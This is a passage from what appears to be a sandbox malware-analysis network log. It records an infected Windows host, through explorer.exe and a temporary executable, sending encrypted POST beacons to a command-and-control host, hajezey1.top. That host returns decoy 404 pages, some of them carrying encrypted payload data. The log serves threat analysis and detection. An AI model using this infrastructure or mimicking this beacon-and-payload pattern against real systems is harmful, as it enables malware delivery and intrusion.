Oct 29, 2021 20:29:44.264802933 CEST	2151	IN	Data Raw: ef 57 94 45 f8 84 96 14 6f 74 5f 72 c0 3b e2 07 45 c1 3c d3 e5 ce a9 91 d0 32 e8 6f cd 2d f1 c0 66 c1 58 19 4a 13 c0 ca 13 28 29 b9 27 ab a8 32 ce f9 af 78 4f be 48 8a 74 17 1b 3c 00 c3 af 8a 2c e2 e1 39 ff c9 9e 0c 59 e4 be 6a 18 33 c1 b3 4c 2b Data Ascii: WEot_r;E<2o-fXJ()'2xOHt<,9Yj3L+h.~]~'lfeDzo=0bD?r2PV8gTSdHffs<WEEd/y]kdO]8?O_8{nA6$M)?u?q}rzJ'Op
Oct 29, 2021 20:29:44.264918089 CEST	2152	IN	Data Raw: 56 78 a0 d2 a2 49 6f 98 2a a1 84 fb d1 cf 69 a5 e5 cd d0 82 5e a7 51 e1 4f 80 6d 7a 14 85 48 7a b3 53 aa bb a6 dc 19 71 77 48 2a c5 5c cd 79 23 a9 f5 10 db c9 79 8f 57 36 37 54 df 58 c5 4e 13 8e cf c4 0c c4 9b 4b e3 51 5c 65 77 65 38 47 d3 87 14 Data Ascii: VxIoi^QOmzHzSqwH\y#yW67TXNKQ\ewe8Gg=Bkj_(h1H]Y&'<I4:C%5M]Z\L6gg<']uBk$@HNJY]#jm?2000ov<`;oG>g67k%jK/fH
Oct 29, 2021 20:29:44.264945984 CEST	2153	IN	Data Raw: a8 06 0d e8 7f 36 ac 98 7b a6 ba 34 16 c6 7d 81 b3 8c 7e 38 23 52 17 70 1d 15 9e d6 21 37 6e 61 71 d1 c1 b9 f7 0a d1 c6 ac d8 54 c3 92 ae f6 5a 93 7a 16 2f 14 d2 10 94 97 a7 54 57 be c0 ed 8e 85 63 f2 13 5b ca 46 a1 67 45 38 ae d8 46 a4 c3 68 bc Data Ascii: 6{4}~8#Rp!7naqTZz/TWc[FgE8FhsW-\SpH:.Zzz%m,xnZ!xBz9Wl#%Wrv@K,Xlhi $zZC:"D1[7TMq;/jZH2:>+BD
Oct 29, 2021 20:29:44.264974117 CEST	2155	IN	Data Raw: 00 b4 c1 a7 35 32 ad 7a 75 3e 66 02 fc 8a 3e c1 cf 32 91 b4 ef 7a 3b 20 26 0f 68 d7 af f9 c8 30 be 25 c1 13 de af 23 bf 59 70 27 9c 59 53 e8 49 12 53 7a 17 34 83 44 c7 4f 1f 0b 15 c1 59 cc 62 04 b7 39 58 21 7f 11 10 ae ac 71 08 19 dc 53 ba 06 72 Data Ascii: 52zu>f>2z; &h0%#Yp'YSISz4DOYb9X!qSrsSIu\@ 4Ea?pHu(7gtpfM}y!8YU<kFXn:W>*iEr&IBZ_2X6+!mzHt.J`Kr?.tG57oCPb
Oct 29, 2021 20:29:44.264998913 CEST	2156	IN	Data Raw: 41 88 dd fa 35 91 b0 5c f3 b8 46 6a 9a 2b b5 c5 33 2d c4 52 63 6c 66 c7 8c aa dc ae 2a 01 a4 4f 33 a7 20 db 84 71 47 11 a6 3a ff 73 fa 6e 6f 60 5e 9a 23 f0 81 1b 6c 1f 16 b6 2d 2a 60 88 a0 5d e2 3d 49 05 b9 43 14 63 72 9d 99 91 1b 4c 4c f4 fc 3e Data Ascii: A5\Fj+3-RclfO3 qG:sno`^#l-`]=ICcrLL>q;Qd12]\|Q)V&]P"][ne9t:>)yppD@m'nZjR)}y~^%8>?RV,Tq5mT$u]]L)Nqp`
Oct 29, 2021 20:29:44.317117929 CEST	2158	IN	Data Raw: 5c af 3a 7d bb 59 9d bd df 03 c6 db e8 8a cd f7 ea 01 1b 3e 42 eb 6a 14 f5 40 ac fd d3 d1 2a 57 aa 37 1a b2 ec ea 99 6d e5 cd f1 c0 a7 54 f6 a3 13 9c b0 4c 75 9d 2f 52 c2 75 48 ae 02 e8 82 8a 4c 59 75 5a c0 6c e5 cd ed 9a 75 10 77 82 95 2d 19 8a Data Ascii: \:}Y>Bj@W7mTLu/RuHLYuZluw-dA$vJBp6l1/{;,:kzip_6_}=CSt7WNC6\|l9g1K# ^L"V&"1xNwqQFx&\|:l0Fcq^

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.7	49771	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:29:46.453360081 CEST	2676	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://efeydlty.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 347 Host: hajezey1.top
Oct 29, 2021 20:29:46.453424931 CEST	2676	OUT	Data Raw: 10 87 f0 e4 1a f8 d3 b4 cd 37 76 3a 0c ca 94 fb 37 11 a8 41 d6 46 19 90 b8 ee dc 86 ff a4 e1 84 11 c3 54 a1 6d 1f bf 96 9c a9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 84 de 97 66 5d 02 c9 a1 c1 64 3c da 90 1f Data Ascii: 7v:7AFTmwmwu$f]d<8zs_eG= B<}{z`e8c&C7[Ym!a9DRN7_3ZEfb&ijMHxL>K SR>nO5T[z%E~R
Oct 29, 2021 20:29:46.533122063 CEST	2677	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:29:46 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.7	49778	162.159.129.233	443	C:\Users\user\AppData\Local\Temp\C1B2.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.7	49772	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:29:47.233247042 CEST	2677	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://glvslni.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 328 Host: hajezey1.top
Oct 29, 2021 20:29:47.233266115 CEST	2678	OUT	Data Raw: 10 87 f0 e4 1a f8 d3 b4 cd 37 76 3a 0c ca 94 fb 37 11 a8 41 d6 46 19 90 b8 ee dc 86 ff a4 e1 84 11 c3 54 a1 6d 1f bf 96 9c a9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 94 66 5d 02 c8 a1 c1 64 4d 96 d5 7c Data Ascii: 7v:7AFTmwmwu$f]dM\|@o5L_niaFm#i&`D\|[:CL-M\4!eYbk\Y eYHvjs:%]y}m+e,\Kp%5>u]T~ky%{F*Rd']
Oct 29, 2021 20:29:47.312364101 CEST	2679	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:29:47 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 52 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b c3 a7 86 38 b4 f2 a7 7c 2d f0 3a cb 8f 8c f5 cf 9b 2b 25 9b 16 ba eb 1b bb 1d 57 74 d2 eb 98 87 cd 23 80 78 51 a1 a2 8f d2 ee df 1c e0 12 02 50 08 08 d8 e2 30 a5 19 93 9b 97 4f f3 e0 e4 62 79 00 54 ea d6 d7 0c 3d 61 19 27 f4 d2 af 34 91 b4 b9 c1 82 20 59 57 11 5c 7c 3b 66 ab 4b 11 c0 4d 58 4b 77 13 d2 08 5b 47 86 65 29 15 32 39 c5 f7 45 22 aa cf 7c c1 7f 9f fc b7 a8 9f 96 98 8b 36 19 19 cb 8a f3 d8 05 0f 4e 86 19 7d 6f ab e1 04 89 63 7a 55 80 90 70 89 7f c8 4a 6b b6 e2 a2 22 48 42 d3 49 ad ff fc ff 1f ed f5 3f f4 6d d3 7c ce 36 d3 ce 4e 49 b3 0b 5e 4c 64 55 5b ad 30 7a 83 9b 84 c8 c3 e7 b2 ec 1c e1 0c 1c 55 ee 87 fe 0c 35 9a 3d 50 6f d0 56 81 96 8b 97 9e 60 9f 8a 86 e8 47 5a bd b2 cb 99 64 51 11 87 4a b1 b8 56 ec ef f7 0a 83 8b 71 91 e0 75 7e 64 19 a0 77 79 27 24 58 96 da 39 d1 3a 2d a6 43 06 02 27 47 c2 fa 6b 8a b2 e2 4b 6d ec 00 31 a5 e2 ec d7 d9 e6 60 f7 f8 23 d3 3e 5b f3 71 81 4a 04 38 2d 7f 14 2c d6 e8 b1 14 73 71 10 fa 82 4b 86 07 30 5a 22 a2 3f 0b 8e 2b 51 fd f5 7a 00 9d 82 ef d0 d6 4a 13 a7 e9 4d 51 c2 41 64 cd 27 5c 8d b7 a3 23 0c 26 17 51 d2 eb e9 23 19 b3 32 59 08 42 41 ae e4 36 dd 3f 9d 43 cd 17 fe 2f 15 9f f8 d8 66 47 42 25 e1 b5 be 34 56 9b 46 3e 99 86 11 22 83 37 22 ec 68 aa cf 04 2a 95 36 56 0f 50 67 74 20 b9 87 f6 f4 81 de bb 34 6b 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ac f8 b9 1f 3a 48 93 92 4e bd 44 ef fb c9 e3 de ea 50 38 02 97 b1 a4 57 25 57 b9 d0 ea 85 62 4a 08 7d 54 7a 98 6c 39 c0 1e f3 5c d9 40 00 fc ce 6e 47 b3 9a 4c 07 22 7d e6 a2 c6 62 b9 14 31 eb cd 40 24 15 8e b7 82 7f 8e 40 b6 f1 b8 4e a1 21 3b 88 4b 6e 47 f3 04 dd be c6 83 41 5f 4f af b8 e8 01 be a2 57 ee 60 87 bd b7 6b 67 09 0f 8a ef 22 3b 6b 81 c7 86 7a 8e 12 d3 e4 de 0e 7b d6 7d 00 2c 0f 7a d7 9b 48 0b ad 8b bc 08 85 f7 8f 82 42 b7 28 85 d8 da 14 79 a2 8e b9 08 c0 fe 77 c6 1d 2b 15 bf fa a5 e9 a8 b2 13 3b 35 02 1a 1b eb c2 f5 6c 8d e3 17 d3 83 6f ce ed 3f ec cf 81 68 73 02 99 ea a6 f5 c3 05 d0 b3 d3 23 39 41 c4 a5 c8 63 77 ca 0b 8f bd d9 39 6b a1 99 98 77 e8 0f 4e 8c da 06 bd 37 87 8c b4 26 b8 2c 58 b2 77 6c 08 d8 f9 d2 eb 48 25 66 34 2d 6f 77 5e a5 37 48 84 99 ff 67 37 f9 ad a1 97 3b 86 f3 bd 98 bb 1f 67 c7 26 e1 39 c6 86 8e f0 09 af 63 95 09 09 a8 1f 13 30 7b 32 cc c9 e1 ad c3 e5 0f 25 93 23 c4 1d d7 cf 8e 34 39 dc 46 77 58 dc be 91 98 3f d8 2c eb 53 43 a0 0c 97 e4 22 76 f9 14 f9 0b 64 82 93 64 4f 55 b4 ca 5e c3 d5 c0 88 0b 3d d9 1d 69 09 de ff 3d c1 03 70 2e 6f f4 d4 6a db a9 16 da 07 22 bd c8 ac cf 3f ef ba a9 a6 cc b4 02 47 71 f5 66 3c 3d d8 bf cb 67 5c d8 97 24 c8 b9 fc f0 d4 e8 57 2d a6 a1 11 19 c0 7b 69 ad 06 5b 80 1c b7 36 db 64 73 82 f5 51 cf 3b c5 da 87 f1 7d 87 70 f3 35 43 50 11 00 ac 27 1d 02 a1 97 28 e4 f0 9e 11 41 a6 ca 87 35 ce 39 c3 ce 85 56 3b 38 a6 15 e4 c6 ce a9 22 27 90 32 fb 10 df b7 b7 c8 10 46 15 b1 97 4c c3 f9 8c e2 58 e9 9c b7 3d ef ce 38 1f c1 19 39 ec a8 01 8f 44 ea 9b bf 6e c0 53 5b 76 cb c4 bd 8f 46 84 7f 9c b8 6a f7 5b 61 67 85 1a aa 50 f1 33 0d 4d 9e 1f ed 23 97 05 42 e0 c9 1c 9c 4a be 99 95 43 d2 7c 6c b8 4f 4e 7d bb ad 45 43 37 86 96 3f d8 a1 f7 94 8f c9 3b cb 53 94 6d 9b 3d 70 e0 53 08 55 42 da 49 3b b1 85 2c 03 39 Data Ascii: 1f66S(SW\/iP"&&grq\|6?eIJ5~/arR`g1Q5ih.Kw:i/+".]pW!RY8\|-:+%Wt#xQP0ObyT=a'4 YW\\|;fKMXKw[Ge)29E"\|6N}oczUpJk"HBI?m\|6NI^LdU[0zU5=PoV`GZdQJVqu~dwy'$X9:-C'GkKm1`#>[qJ8-,sqK0Z"?+QzJMQAd'\#&Q#2YBA6?C/fGB%4VF>"7"h*6VPgt 4k6'NGc:HNDP8W%WbJ}Tzl9\@nGL"}b1@$@N!;KnGA_OW`kg";kz{},zHB(yw+;5lo?hs#9Acw9kwN7&,XwlH%f4-ow^7Hg7;g&9c0{2%#49FwX?,SC"vddOU^=i=p.oj"?Gqf<=g\$W-{i[6dsQ;}p5CP'(A59V;8"'2FLX=89DnS[vFj[agP3M#BJC\|lON}EC7?;Sm=pSUBI;,9
Oct 29, 2021 20:29:47.312401056 CEST	2681	IN	Data Raw: 1a d7 38 d6 62 4f 35 3d bc 96 b0 cc 2f f0 49 84 b8 7d 8a 8b 6e 56 22 c1 ff 2f 0c cd fd 4c f7 b1 6a 48 bb 8f 13 4a b9 84 70 d0 65 a9 08 3d 3f 00 5c 74 31 8e f4 65 f6 d2 1a 06 b2 6b b7 98 29 92 71 d0 86 d1 cc 16 4b 45 ab 42 f4 4b ca 38 29 b3 e6 06 Data Ascii: 8bO5=/I}nV"/LjHJpe=?\t1ek)qKEBK8)y}s~PG`hSH95!926jRdB<[R[^%3V9l{j Wx#g.v/hW.%_6% &<v0p>=, 3zY
Oct 29, 2021 20:29:47.312426090 CEST	2682	IN	Data Raw: 32 f9 5d c3 bc 0e 98 cd b5 da 03 d7 db 02 0c a3 fc cc fd 5e 3c 7b 37 fa 85 59 15 57 3e 8e d7 ac 1f ab 97 e1 5f 61 9a 2a 30 44 f5 da 18 ef a7 33 5a 94 3a 9f 68 fa 88 6a d4 df 95 06 83 9f b6 77 19 2e 4a ed 82 22 a7 cd 97 2c 01 67 f7 ef fa d6 e3 ea Data Ascii: 2]^<{7YW>_a*0D3Z:hjw.J",g9,fw[urg:L.e/"sf^z\S ]/n]2/g^=3@`#W0V_RsC4CbTCmSLX1xjO>,v)_dG"j}!!
Oct 29, 2021 20:29:47.312450886 CEST	2683	IN	Data Raw: c2 da 2c b7 75 d3 98 eb c1 e4 51 83 6a 10 0c f9 12 b5 e1 35 87 6d fe 69 44 80 83 be a2 f1 5f 0e fd 10 e6 e1 9e 75 7f 13 48 72 c7 ec 98 19 f2 de 3c c8 98 bf 59 a6 d5 ad bb bc f6 62 de 42 a4 87 5e f5 64 e4 b8 52 f9 89 07 a3 8c 2b cc bd 32 fb 20 af Data Ascii: ,uQj5miD_uHr<YbB^dR+2 p2rf8#cUA:v)W6HW+Eu^Zt&oY{.`U]&^%7QY.9/G~($<!=zl5GH3,;?q5WV
Oct 29, 2021 20:29:47.312495947 CEST	2685	IN	Data Raw: b1 63 13 ab 07 6e 13 c5 cf a4 11 84 63 88 18 98 42 aa ba ee c5 7b a2 11 15 84 b9 b4 65 ba 0a ce 6e b7 b9 26 45 5f ce d5 dc 2a 3d aa 0f ee 1e b0 ba 00 47 4c 45 9a ae a6 79 e5 5b a1 c4 16 d9 4b 1f 6b e1 23 07 f5 07 5f cb d1 ba 71 bc 8f 7f 93 d9 f6 Data Ascii: cncB{en&E_=GLEy[Kk#_qlh[+$XU+FSw_7eSHw#RIwT^%7et9%Y,P,qip{ZC;qJVM=rO.!1o7{ f65ma??:V;\o'2\|iK2)WpK5
Oct 29, 2021 20:29:47.312510014 CEST	2686	IN	Data Raw: 4a 66 ed b2 d9 93 8b 68 a7 ad c2 52 e0 80 94 31 ff 87 34 0c a4 be 8f d4 a2 83 94 2f f6 88 84 e1 5f 12 34 a2 6f ae f6 79 62 01 c1 9e 17 44 43 58 aa 5a 9f 49 a7 71 2c 62 a1 ac c2 10 a1 53 6a cb 2b e0 0a 80 94 05 e6 c3 2c e8 72 1e 10 a4 a2 29 e1 27 Data Ascii: JfhR14/_4oybDCXZIq,bSj+,r)'FgW.IQ/Om.V@&Gz!q@!,9d]rgcOoFUDB#Ze\{27:aka:;`tU<\|pkvvCy$*[oG
Oct 29, 2021 20:29:47.312520981 CEST	2688	IN	Data Raw: 57 7a 2b ae 7a 08 39 26 d5 d3 9a fb f2 e3 af a8 3f 15 c2 82 16 cd 1f 6c 44 7c 62 f1 92 42 43 86 41 21 a4 bb 4e de e9 8e 35 24 24 5e 1d cd f1 16 d5 2d 50 db 21 4b c8 57 36 6e 02 52 15 35 a6 ed 41 30 3b 64 ec 36 0a e3 d8 19 95 27 ee 4d b7 3b 26 15 Data Ascii: Wz+z9&?lD\|bBCA!N5$$^-P!KW6nR5A0;d6'M;&rM*$E=BWv!_K-\|HTm/b+,GD2L)r#`0wIrmrudAjSn20006Sk;A?%6Rj+PA"Jc#]]xfm
Oct 29, 2021 20:29:47.312535048 CEST	2689	IN	Data Raw: ac 8b 0d 19 92 34 47 9a f0 64 4c 74 32 46 72 04 c2 73 81 c7 10 a4 2c 8e 12 91 f9 29 de c8 e4 76 42 18 48 0c 2b f7 2e 39 25 6d b4 3e 6d 51 7f ef 27 87 e9 d0 9c 47 ff 69 68 58 d0 85 b1 44 d4 84 85 63 b5 9a e6 0e bb 5e 98 7c 8d 72 25 b9 5b cc e4 9a Data Ascii: 4GdLt2Frs,)vBH+.9%m>mQ'GihXDc^\|r%[sW_S$GV~m(;R_9n}v\PRXkz<<hbj]CHXl3Lk*Dtkz{@tQotDoLQV~r"H^dQ`w@!
Oct 29, 2021 20:29:47.312561989 CEST	2690	IN	Data Raw: a8 33 4c 59 dd 3f 36 ff f8 ba a6 0d 08 ca b6 3f 30 c4 64 3e 60 84 c4 00 22 79 7c 5d 2a 25 45 b5 33 42 48 15 45 dd da 3b 85 8d a8 19 a2 54 2f cc de d4 f7 e9 35 83 34 bd d4 df 0f 15 b1 a0 33 93 f9 48 b6 62 94 fb f1 ed 21 29 09 09 19 dc a8 4d 84 8e Data Ascii: 3LY?6?0d>`"y\|]%E3BHE;T/543Hb!)MKxu}@ Uo58j[x"dl#;Xm:)`R"8Ui,ulolH?I~]Bm]v$rq]coi[v~/J:3ON^`zOuiQb
Oct 29, 2021 20:29:47.312582016 CEST	2692	IN	Data Raw: bb 22 46 3c c0 6e 3f a6 3c 09 bb 95 15 51 b3 ce b8 a8 18 d5 ee 92 e5 a7 8c 2d 25 2a f6 fc 2b ca ca eb dc 84 aa 38 f8 4b 4e d7 a7 09 88 a6 ac ed 67 e0 3a c3 c1 1b 76 55 24 b7 b7 1a 50 f2 2a 6c a2 3d 7d 4e 8b 42 5b 52 42 e7 7e a1 5b 4c fa bc ce 3f Data Ascii: "F<n?<Q-%+8KNg:vU$Pl=}NB[RB~[L?)5l}q2Z}$]YfU:#=fpGh>7s40dv34^W,Yw"JcDM)ehw#BTqS$p^4v* cM;$%~s-Aa]t
Oct 29, 2021 20:29:47.365286112 CEST	2693	IN	Data Raw: 34 a5 c5 6c 75 52 d8 bd 7c 23 b6 cd ea b9 7d 2c 96 8c e5 2b d6 9a 44 00 36 bf bf 27 a1 eb 29 95 ae 33 ea 4f ba 15 a8 42 21 72 e7 7f b2 80 87 e4 61 57 41 c9 f3 f0 22 20 f6 d5 90 ee 6d 03 97 12 3a 13 77 aa 33 3a 1a fc 92 5a 34 10 8c 90 3f ff 59 8a Data Ascii: 4luR\|#},+D6')3OB!raWA" m:w3:Z4?Yvo6!rm<G?O6~wgI"Vg^(+; LT7Y7lgmryO(^a@S}4@Rc7m&z0w.ckn`iuL?PR

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.7	49775	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:29:51.351222992 CEST	4203	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jbxuhdvj.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 263 Host: hajezey1.top
Oct 29, 2021 20:29:51.351272106 CEST	4203	OUT	Data Raw: 10 87 f0 e4 1a f8 d3 b4 cd 37 76 3a 0c ca 94 fb 37 11 a8 41 d6 46 19 90 b8 ee dc 86 ff a4 e1 84 11 c3 54 a1 6d 1f bf 96 9c a9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 84 de 94 66 5d 02 c9 a1 c1 64 29 b6 af 79 Data Ascii: 7v:7AFTmwmwu$f]d)yWlgSLT,vQfXi+Pz:3IrbcL[0+L&LJGO}C<X<La53RiD%8D\V,71kkpw2Lh6H\|
Oct 29, 2021 20:29:51.428925991 CEST	4204	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:29:51 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.7	49776	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:29:51.540746927 CEST	4205	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://axwrxhk.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 177 Host: hajezey1.top
Oct 29, 2021 20:29:51.540750980 CEST	4205	OUT	Data Raw: 10 87 f0 e4 1a f8 d3 b4 cd 37 76 3a 0c ca 94 fb 37 11 a8 41 d6 46 19 90 b8 ee dc 86 ff a4 e1 84 11 c3 54 a1 6d 1f bf 96 9c a9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 95 66 5d 02 c8 a1 c1 64 33 9e cd 6a Data Ascii: 7v:7AFTmwmwu$f]d3ju6NJ`rC*ZCq2Q``;T3,3e'9na)O)3.4R%&g5#^u[
Oct 29, 2021 20:29:51.622433901 CEST	4205	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:29:51 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this 